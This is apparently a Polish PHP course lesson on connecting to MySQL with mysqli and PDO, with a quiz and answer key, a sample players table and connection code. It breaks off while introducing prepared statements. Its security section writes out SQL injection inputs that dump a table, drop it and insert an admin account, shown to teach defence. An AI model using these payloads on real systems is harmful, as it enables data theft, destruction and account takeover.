<p class="wp-block-paragraph">Lekcja 17: bazy danych, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> i PDO, projekt tabel TaskQuest. Odpowiedz z pamięci.</p>



<ol class="wp-block-list">
<li><p>Masz projekt, który być może zostanie przeniesiony z MySQL na PostgreSQL. Które rozszerzenie wybierzesz i dlaczego?</p></li>



<li><p>Co w tej definicji jest niepoprawne i jaki będzie skutek?<code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania (<br />    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,<br />    tytul VARCHAR(100) NOT NULL,<br />    xp INT UNSIGNED NOT NULL DEFAULT 0,<br />) ENGINE=InnoDB;<br /></code></p></li>



<li><p>Kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL UNIQUE</code>. Które z tych operacji baza odrzuci?<br />a) dodanie użytkownika bez podania loginu,<br />b) dodanie drugiego użytkownika o loginie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>,<br />c) dodanie użytkownika z loginem <code class="prettyprint lang-sql" style="font-size: 0.85em;">ola_tq</code>, gdy istnieje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>.</p></li>



<li><p>Dlaczego kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jest w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, a nie kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_id</code> w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>?</p></li>



<li><p>Uczeń chce dodać do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, bo „łatwiej będzie ją wyświetlić”. Co mu odpowiesz i na jaką zasadę się powołasz?</p></li>



<li><p>Dwa z tych wierszy <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> nie zapiszą tego, czego oczekuje autor. Które i dlaczego?<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp, data_ostatniej_aktywnosci) VALUES<br />('Kama_2026', 'Kama', 99, '2026-09-14'),<br />('Ola_TQ', 'Ola', '250', 'NULL'),<br />('Bartek_9', 'Bartek', 0, '01.09.2026');<br /></code></p></li>



<li><p>Baza ma kodowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code>. Kiedy zobaczysz problem, a kiedy nie?</p></li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li>PDO — jako jedyne daje ten sam interfejs dla MySQL, PostgreSQL, SQLite i innych silników, więc zmiana bazy nie wymaga przepisywania kodu. <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> działa wyłącznie z MySQL/MariaDB.</li>



<li>Przecinek po ostatniej kolumnie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT 0,</code>) — błąd składni <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code>, tabela w ogóle nie powstanie.</li>



<li>a) i b). Przypadek c) przejdzie lub nie w zależności od porównywania wielkości liter przez zestaw znaków, ale na domyślnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> wielkość liter nie jest rozróżniana, więc baza też go odrzuci.</li>



<li>Bo w relacji 1:N klucz obcy trafia zawsze po stronie „N”. Jedno pole mieści jedną wartość — nie zapiszesz w nim listy „zadania 1, 2, 3”.</li>



<li>Nie dodajemy, bo poziom da się <strong>obliczyć</strong> z XP. Zasada: w bazie trzymamy tylko dane, których nie da się wyliczyć z innych danych — inaczej przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = 350, poziom = 2</code> nie wiadomo, która wartość kłamie. Poziom liczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code> / metoda klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>.</li>



<li>Wiersz Oli: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> w apostrofach zapisze <strong>tekst</strong> „NULL”, a nie brak wartości (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'250'</code> zadziała, bo baza przekonwertuje tekst na liczbę, ale to zła praktyka). Wiersz Bartka: data <code class="prettyprint lang-sql" style="font-size: 0.85em;">'01.09.2026'</code> — baza przyjmuje wyłącznie format <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>.</li>



<li>Polskie litery zapiszą się poprawnie, bo mieszczą się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code>. Problem pojawi się dopiero przy emoji (4-bajtowe znaki) — wtedy błąd zapisu albo obcięte dane.</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">Bazy danych to fundament większości aplikacji webowych. Za każdym razem gdy:</p>



<ul class="wp-block-list">
<li>Przeglądasz posty na Instagramie</li>



<li>Sprawdzasz ranking w grze online</li>



<li>Szukasz wiadomości na Discordzie</li>



<li>Oglądasz playlistę na Spotify</li>
</ul>



<p class="wp-block-paragraph">W tym materiale nauczysz się&nbsp;<strong>pobierać dane</strong>&nbsp;z bazy MySQL/MariaDB używając PHP. To podstawowa umiejętność, którą musisz opanować przed nauką modyfikowania danych (INSERT, UPDATE, DELETE &#8211; te operacje poznasz w następnym temacie).</p>



<h2 class="wp-block-heading">Dane&nbsp;dostępowe&nbsp;do&nbsp;bazy</h2>



<p class="wp-block-paragraph">Niezależnie&nbsp;od&nbsp;wybranej&nbsp;metody,&nbsp;potrzebujesz&nbsp;4&nbsp;podstawowych&nbsp;informacji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$serwer = 'localhost';       // Adres serwera (localhost lub 127.0.0.1)
$user = 'root';              // Nazwa użytkownika bazy
$pass = '';                  // Hasło (domyślnie puste w XAMPP)
$baza = 'nazwa_bazy';        // Nazwa Twojej bazy danych</code></pre>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;W&nbsp;środowisku&nbsp;produkcyjnym&nbsp;(na&nbsp;prawdziwym&nbsp;serwerze):</p>



<ul class="wp-block-list">
<li>Hasło&nbsp;NIE&nbsp;MOŻE&nbsp;być&nbsp;puste!</li>



<li>Użytkownik&nbsp;NIE&nbsp;POWINIEN&nbsp;być&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code></li>



<li>Dane&nbsp;logowania&nbsp;przechowuj&nbsp;w&nbsp;oddzielnym&nbsp;pliku&nbsp;(np.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>)</li>



<li>Nigdy&nbsp;nie&nbsp;commituj&nbsp;danych&nbsp;dostępowych&nbsp;do&nbsp;GitHuba!</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład pliku config.php:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// config.php - NIE COMMITUJ tego pliku do repozytorium!

define('DB_HOST', 'localhost');
define('DB_USER', 'twoj_user');
define('DB_PASS', 'twoje_silne_haslo');
define('DB_NAME', 'nazwa_bazy');
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Użycie w kodzie PDO:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
require_once 'config.php';

... łączenie z bazą ...
?></code></pre>



<h2 class="wp-block-heading">Przygotowanie &#8211; Utworzenie przykładowej bazy</h2>



<p class="wp-block-paragraph">Przed rozpoczęciem nauki potrzebujesz bazy z przykładowymi danymi. Stworzymy bazę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code>&nbsp;z tabelą graczy &#8211; będzie bardziej interesująca niż klasyczne &#8222;imię i nazwisko&#8221;</p>



<h3 class="wp-block-heading">Krok 1: Otwórz phpMyAdmin</h3>



<p class="wp-block-paragraph">W przeglądarce wejdź na: </p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">http:&#47;&#47;localhost/phpmyadmin</code></pre>



<h3 class="wp-block-heading">Krok 2: Utwórz nową bazę danych</h3>



<ul class="wp-block-list">
<li>Kliknij zakładkę&nbsp;<strong>&#8222;Bazy danych&#8221;</strong></li>



<li>W polu &#8222;Utwórz bazę danych&#8221; wpisz:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code></li>



<li>Wybierz kodowanie:&nbsp;<strong>utf8mb4_unicode_ci</strong>&nbsp;(poprawniejsze sortowanie wielu języków, lepsza zgodność Unicode, obsługa polskich znaków; <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb4</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> oznacza „maximum bytes 4” — czyli kodowanie UTF-8 obsługujące znaki zajmujące do 4 bajtów.)</li>



<li>Kliknij&nbsp;<strong>&#8222;Utwórz&#8221;</strong></li>
</ul>



<h3 class="wp-block-heading">Krok 3: Utwórz tabelę z danymi</h3>



<p class="wp-block-paragraph">Kliknij na bazę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code>, przejdź do zakładki&nbsp;<strong>SQL</strong>&nbsp;i wykonaj poniższy kod:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- Tabela graczy
CREATE TABLE players (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100),
    level INT DEFAULT 1,
    coins INT DEFAULT 0,
    rank_name VARCHAR(20) DEFAULT 'Bronze',
    games_played INT DEFAULT 0,
    wins INT DEFAULT 0,
    losses INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    last_login TIMESTAMP NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Przykładowe dane graczy (15 rekordów)
INSERT INTO players (username, email, level, coins, rank_name, games_played, wins, losses, last_login) VALUES
('ProGamer_Mike', 'mike@example.com', 45, 12500, 'Diamond', 850, 520, 330, NOW()),
('xX_Anna_Xx', 'anna@example.com', 32, 8900, 'Platinum', 620, 380, 240, NOW()),
('NinjaKiller', 'ninja@example.com', 67, 23400, 'Master', 1240, 890, 350, NOW()),
('ShadowHunter', 'shadow@example.com', 28, 6700, 'Gold', 490, 270, 220, DATE_SUB(NOW(), INTERVAL 2 DAY)),
('DragonSlayer99', 'dragon@example.com', 19, 4200, 'Silver', 320, 160, 160, DATE_SUB(NOW(), INTERVAL 5 DAY)),
('CoolGamer', 'cool@example.com', 52, 15600, 'Diamond', 980, 610, 370, NOW()),
('LegendaryPlayer', 'legend@example.com', 89, 45000, 'Grandmaster', 2100, 1560, 540, NOW()),
('NoobMaster', 'noob@example.com', 8, 1200, 'Bronze', 85, 30, 55, DATE_SUB(NOW(), INTERVAL 10 DAY)),
('FastFingers', 'fast@example.com', 41, 11200, 'Platinum', 740, 450, 290, NOW()),
('SilentAssassin', 'silent@example.com', 36, 9800, 'Platinum', 680, 410, 270, DATE_SUB(NOW(), INTERVAL 1 DAY)),
('ThunderStrike', 'thunder@example.com', 24, 5600, 'Gold', 410, 220, 190, DATE_SUB(NOW(), INTERVAL 3 DAY)),
('IceQueen', 'ice@example.com', 55, 17800, 'Diamond', 1050, 670, 380, NOW()),
('FireStorm', 'fire@example.com', 15, 3100, 'Silver', 250, 120, 130, DATE_SUB(NOW(), INTERVAL 7 DAY)),
('MysticWarrior', 'mystic@example.com', 63, 21000, 'Master', 1180, 800, 380, NOW()),
('SpeedDemon', 'speed@example.com', 29, 7200, 'Gold', 520, 290, 230, DATE_SUB(NOW(), INTERVAL 4 DAY));</code></pre>



<p class="wp-block-paragraph"><strong>Struktura tabeli players:</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kolumna</th><th>Typ</th><th>Opis</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></td><td>INT</td><td>Unikalny identyfikator (AUTO_INCREMENT)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">username</code></td><td>VARCHAR(50)</td><td>Nick gracza (unikalny)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">email</code></td><td>VARCHAR(100)</td><td>Adres email</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">level</code></td><td>INT</td><td>Poziom gracza</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">coins</code></td><td>INT</td><td>Wirtualna waluta</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rank_name</code></td><td>VARCHAR(20)</td><td>Ranga (Bronze, Silver, Gold, Platinum, Diamond, Master, Grandmaster)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">games_played</code></td><td>INT</td><td>Liczba rozegranych gier</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wins</code></td><td>INT</td><td>Liczba wygranych</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">losses</code></td><td>INT</td><td>Liczba przegranych</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">created_at</code></td><td>TIMESTAMP</td><td>Data utworzenia konta</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">last_login</code></td><td>TIMESTAMP</td><td>Ostatnie logowanie</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Sposoby połączenia z bazą danych</h2>



<p class="wp-block-paragraph">PHP oferuje 2 nowoczesne sposoby komunikacji z MySQL, podejście proceduralne pomijamy jako przestarzałe.</p>



<h3 class="wp-block-heading">1. MySQLi &#8211; Podejście obiektowe</h3>



<p class="wp-block-paragraph">Wykorzystujemy klasę <a href="https://www.php.net/manual/en/class.mysqli.php">mysqli</a>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db = new mysqli($serwer, $user, $pass, $baza);</code></pre>



<p class="wp-block-paragraph">Podejście dobre, ale tylko dla MySQL/MariaDB</p>



<h3 class="wp-block-heading">2. PDO &#8211; PHP Data Objects&nbsp;<strong>(ZALECANE!)</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = new PDO("mysql:host=$serwer;dbname=$baza;charset=utf8mb4", $user, $pass);</code></pre>



<p class="wp-block-paragraph">Podejście&nbsp;uniwersalne, bezpieczne, nowoczesne</p>



<h2 class="wp-block-heading">Łączenie z bazą danych</h2>



<h3 class="wp-block-heading">MySQLi &#8211; Podejście obiektowe</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Dane dostępowe
$serwer = 'localhost';
$user = 'root';
$pass = '';
$baza = 'gaming_hub';

// Wyłączamy automatyczne raportowanie błędów
mysqli_report(MYSQLI_REPORT_OFF);

// Połączenie obiektowe (@ ukrywa ostrzeżenia)
$db = @new mysqli($serwer, $user, $pass, $baza);

// Sprawdzenie połączenia
if ($db-&gt;connect_error) {
    die("Błąd połączenia: {$db-&gt;connect_error}");
}

echo 'Połączenie nawiązano!&lt;br&gt;';

// Ustawienie kodowania (ważne dla polskich znaków i emoji!)
$db-&gt;set_charset('utf8mb4');

// ... wykonywanie zapytań ...

// Zamknięcie połączenia
$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Dostępne właściwości do obsługi błędów:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;connect_error   // Opis błędu połączenia
$db-&gt;connect_errno   // Kod błędu połączenia
$db-&gt;error           // Opis ostatniego błędu
$db-&gt;errno           // Kod ostatniego błędu</code></pre>



<h3 class="wp-block-heading">PDO &#8211; PHP Data Objects</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Dane dostępowe
$serwer = 'localhost';
$user = 'root';
$pass = '';
$baza = 'gaming_hub';

// Opcje PDO dla bezpieczeństwa i wygody
$opcje = &#91;
    PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,        // Włącz wyjątki
    PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,   // Domyślnie tablica asocjacyjna
    PDO::ATTR_EMULATE_PREPARES =&gt; false,                // Prawdziwe prepared statements
];

try {
    // Połączenie PDO
    $pdo = new PDO(
        "mysql:host=$serwer;dbname=$baza;charset=utf8mb4",
        $user,
        $pass,
        $opcje
    );
    
    echo 'Połączenie nawiązano!&lt;br&gt;';
    
    // ... wykonywanie zapytań ...
    
} catch (PDOException $e) {
    // W prawdziwej aplikacji NIE pokazuj szczegółów błędu użytkownikowi!
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Nie można połączyć się z bazą danych. Spróbuj później.');
}

// Zamknięcie połączenia
$pdo = null;
?&gt;</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION</code>&nbsp;&#8211; rzuca wyjątki przy błędach (łatwiej debugować)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC</code>&nbsp;&#8211; zwraca tablice asocjacyjne (czytelniejsze)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_EMULATE_PREPARES =&gt; false</code>&nbsp;&#8211; prawdziwe prepared statements (bezpieczniejsze)</li>
</ul>



<h2 class="wp-block-heading">Zamykanie połączenia z bazą</h2>



<p class="wp-block-paragraph">Operacja zamknięcia połączenia jest automatycznie wykonywana po zakończeniu skryptu. Jeżeli potrzebujemy zakończyć połączenie wcześniej:</p>



<h3 class="wp-block-heading">MySQLi obiektowo:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;close();</code></pre>



<h3 class="wp-block-heading">PDO:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = null;
// lub
unset($pdo);</code></pre>



<p class="wp-block-paragraph"><strong>W praktyce:</strong>&nbsp;Rzadko musisz ręcznie zamykać połączenie &#8211; PHP robi to automatycznie po zakończeniu skryptu, ale na egzaminie zawodowym jest to wymagane.</p>



<h2 class="wp-block-heading">SELECT &#8211; Pobieranie wszystkich rekordów</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>UWAGA: </strong>stosowanie <strong>query()</strong> nie zapewnia bezpieczeństwa w przypadku ataków SQJ Injection. Zamiast query należy używać <a href="https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php" class="link"><strong>parameterized prepared statements</strong></a> (opracowanie dalej w temacie). Aby query() było bezpieczne należy stosować <span class="function"><a href="https://www.php.net/manual/en/mysqli.real-escape-string.php" class="function">mysqli_real_escape_string()</a></span>. </p>
</blockquote>



<p class="wp-block-paragraph">Użycie samego query() jest dopuszczalne na egzaminie zawodowym, jednak w prawdziwych projektach ZAWSZE używaj <strong>prepared statements</strong>.</p>



<h3 class="wp-block-heading">Przykład 1: MySQLi obiektowo &#8211; PODATNE NA ATAKI! &#8211; tak nie rób</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Połączenie z bazą
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die("Błąd połączenia: {$db-&gt;connect_error}");
}

$db-&gt;set_charset('utf8mb4');
echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';

// Zapytanie SQL - pobierz wszystkich graczy
$sql = "SELECT * FROM players";
$wynik = $db-&gt;query($sql);

// Sprawdzamy liczbę rekordów
$ile_wierszy = $wynik-&gt;num_rows;
echo "Znaleziono graczy: &lt;strong&gt;{$ile_wierszy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";

// Wyświetlamy w tabeli
echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
echo '&lt;tr&gt;
        &lt;th&gt;ID&lt;/th&gt;
        &lt;th&gt;Username&lt;/th&gt;
        &lt;th&gt;Level&lt;/th&gt;
        &lt;th&gt;Coins&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Wins/Losses&lt;/th&gt;
      &lt;/tr&gt;';

// Pętla while - pobieramy kolejne rekordy
while ($wiersz = $wynik-&gt;fetch_assoc()) {
    $username = htmlspecialchars($wiersz&#91;'username']);
    $coins = number_format($wiersz&#91;'coins']);
    
    echo "&lt;tr&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
    echo "&lt;td&gt;{$username}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
    echo "&lt;td&gt;{$coins}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'wins']}/{$wiersz&#91;'losses']}&lt;/td&gt;";
    echo "&lt;/tr&gt;";
}

echo '&lt;/table&gt;';

// Zamknięcie połączenia
$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Alternatywnie &#8211; pętla foreach</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ... (połączenie jak wyżej)

$sql = "SELECT * FROM players";
$wynik = $db-&gt;query($sql);

echo "Znaleziono graczy: {$wynik-&gt;num_rows}&lt;br&gt;&lt;br&gt;";

foreach ($wynik as $row) {
    $username = htmlspecialchars($row&#91;'username']);
    echo "{$row&#91;'id']} - {$username} (Level: {$row&#91;'level']})&lt;br&gt;";
}

$db-&gt;close();
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 1: PDO &#8211; PODATNE NA ATAKI! &#8211; tak nie rób</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    // Połączenie PDO
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC
        ]
    );
    
    echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';
    
    // Zapytanie SQL
    $sql = "SELECT * FROM players";
    $stmt = $pdo-&gt;query($sql);
    
    // Pobranie wszystkich wyników
    $wyniki = $stmt-&gt;fetchAll();
    
    $liczba_graczy = count($wyniki);
    echo "Znaleziono graczy: &lt;strong&gt;{$liczba_graczy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";
    
    // Wyświetlanie w tabeli HTML
    echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
    echo '&lt;tr&gt;
            &lt;th&gt;ID&lt;/th&gt;
            &lt;th&gt;Username&lt;/th&gt;
            &lt;th&gt;Level&lt;/th&gt;
            &lt;th&gt;Coins&lt;/th&gt;
            &lt;th&gt;Rank&lt;/th&gt;
            &lt;th&gt;Games&lt;/th&gt;
            &lt;th&gt;Win Rate&lt;/th&gt;
          &lt;/tr&gt;';
    
    foreach ($wyniki as $wiersz) {
        // Obliczamy Win Rate (procent wygranych)
        $winRate = $wiersz&#91;'games_played'] &gt; 0 
            ? round(($wiersz&#91;'wins'] / $wiersz&#91;'games_played']) * 100, 1) 
            : 0;
        
        $username = htmlspecialchars($wiersz&#91;'username']);
        $coins = number_format($wiersz&#91;'coins']);
        
        echo "&lt;tr&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
        echo "&lt;td&gt;{$username}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
        echo "&lt;td&gt;{$coins}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'games_played']}&lt;/td&gt;";
        echo "&lt;td&gt;{$winRate}%&lt;/td&gt;";
        echo "&lt;/tr&gt;";
    }
    
    echo '&lt;/table&gt;';
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

// Zamknięcie połączenia
$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">BEZPIECZEŃSTWO &#8211; SQL Injection</h2>



<p class="wp-block-paragraph"><strong>SQL Injection</strong>&nbsp;to technika ataku, w której hacker wstrzykuje złośliwy kod SQL przez dane wejściowe (formularze, URL). To&nbsp;<strong>najczęstszy typ ataku</strong>&nbsp;na aplikacje webowe!</p>



<h3 class="wp-block-heading">NIEBEZPIECZNY KOD (NIGDY TAK NIE RÓB!)</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PODATNE NA SQL INJECTION!

$username = $_POST&#91;'username'];

// Niebezpieczne zapytanie - łączenie stringów!
$sql = "SELECT * FROM players WHERE username = '$username'";
$wynik = $db-&gt;query($sql);

/*
PROBLEM: Użytkownik może wpisać złośliwy kod!
*/
?&gt;</code></pre>



<p class="wp-block-paragraph">Jak działa atak SQL Injection?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Scenariusz 1: Normalny użytkownik
---------------------------------
Użytkownik wpisuje:         ProGamer_Mike
Zapytanie SQL:              SELECT * FROM players WHERE username = 'ProGamer_Mike'
Wynik:                      Zwraca dane gracza


Scenariusz 2: Hacker - ujawnienie wszystkich danych
---------------------------------------------------
Hacker wpisuje:             ' OR '1'='1
Zapytanie SQL:              SELECT * FROM players WHERE username = '' OR '1'='1'
Wynik:                      Zwraca WSZYSTKICH graczy!
Dlaczego?                   '1'='1' jest zawsze prawdą, więc warunek zawsze się spełnia


Scenariusz 3: Hacker - usunięcie tabeli
----------------------------------------
Hacker wpisuje:             '; DROP TABLE players; --
Zapytanie SQL:              SELECT * FROM players WHERE username = ''; DROP TABLE players; --'
Wynik:                      USUWA CAŁĄ TABELĘ! 
Dlaczego?                   Średnik (;) kończy pierwsze zapytanie, DROP TABLE usuwa tabelę,
                           -- komentuje resztę zapytania


Scenariusz 4: Hacker - dodanie administratora
----------------------------------------------
Hacker wpisuje:             '; INSERT INTO users (username, role) VALUES ('hacker', 'admin'); --
Wynik:                      Dodaje sobie konto z uprawnieniami admina! </code></pre>



<p class="wp-block-paragraph">Rzeczywiste konsekwencje SQL Injection:</p>



<ul class="wp-block-list">
<li><strong>Kradzież danych</strong>&nbsp;&#8211; haker może pobrać hasła, emaile, dane kart kredytowych</li>



<li><strong>Usunięcie danych</strong>&nbsp;&#8211; cała baza może zostać skasowana</li>



<li><strong>Modyfikacja danych</strong>&nbsp;&#8211; zmiana cen produktów, uprawnień użytkowników</li>



<li><strong>Przejęcie kontroli</strong>&nbsp;&#8211; dodanie konta administratora</li>



<li><strong>Kara prawna i finansowa</strong>&nbsp;&#8211; naruszenie RODO, utrata reputacji firmy</li>
</ul>



<h2 class="wp-block-heading">BEZPIECZNY KOD &#8211; Prepared Statements</h2>



<h3 class="wp-block-heading">BEZPIECZNY KOD &#8211; Prepared Statements</h3>



<p class="wp-block-paragraph"><strong>Prepared Statements</strong>&nbsp;(zapytania przygotowane) to mechanizm, który&nbsp;<strong>rozdziela kod SQL od danych</strong>. Baza danych najpierw &#8222;przygotowuje&#8221; zapytanie, a potem osobno przekazuje dane.</p>



<h3 class="wp-block-heading">Dlaczego są bezpieczne?</h3>



<ul class="wp-block-list">
<li><strong>Separacja kodu i danych</strong>&nbsp;&#8211; SQL i dane są wysyłane osobno</li>



<li><strong>Automatyczne escapowanie</strong>&nbsp;&#8211; baza wie, że to dane, nie kod</li>



<li><strong>Niemożliwy injection</strong>&nbsp;&#8211; dane nie mogą zmienić struktury zapytania</li>
</ul>



<h3 class="wp-block-heading">Jak działają Prepared Statements?</h3>



